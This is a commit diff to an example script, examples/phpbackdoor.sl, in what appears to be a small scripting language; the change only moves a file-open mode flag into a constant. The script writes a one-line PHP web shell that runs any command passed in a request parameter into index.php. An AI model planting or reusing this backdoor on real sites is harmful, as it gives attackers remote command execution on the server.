Update examples

Author: Arinerron

examples/phpbackdoor.sl

@@ -3,9 +3,10 @@
 # declare constants
 code = '<?php system($_REQUEST[\'cmd\']); ?>'
 file = 'index.php'
+mode = 1006 # this flag is "w+"
 
 # create file
-fd = open(file, 1006) # this flag is "w+"
+fd = open(file, mode)
 write(fd, code)
 close(fd)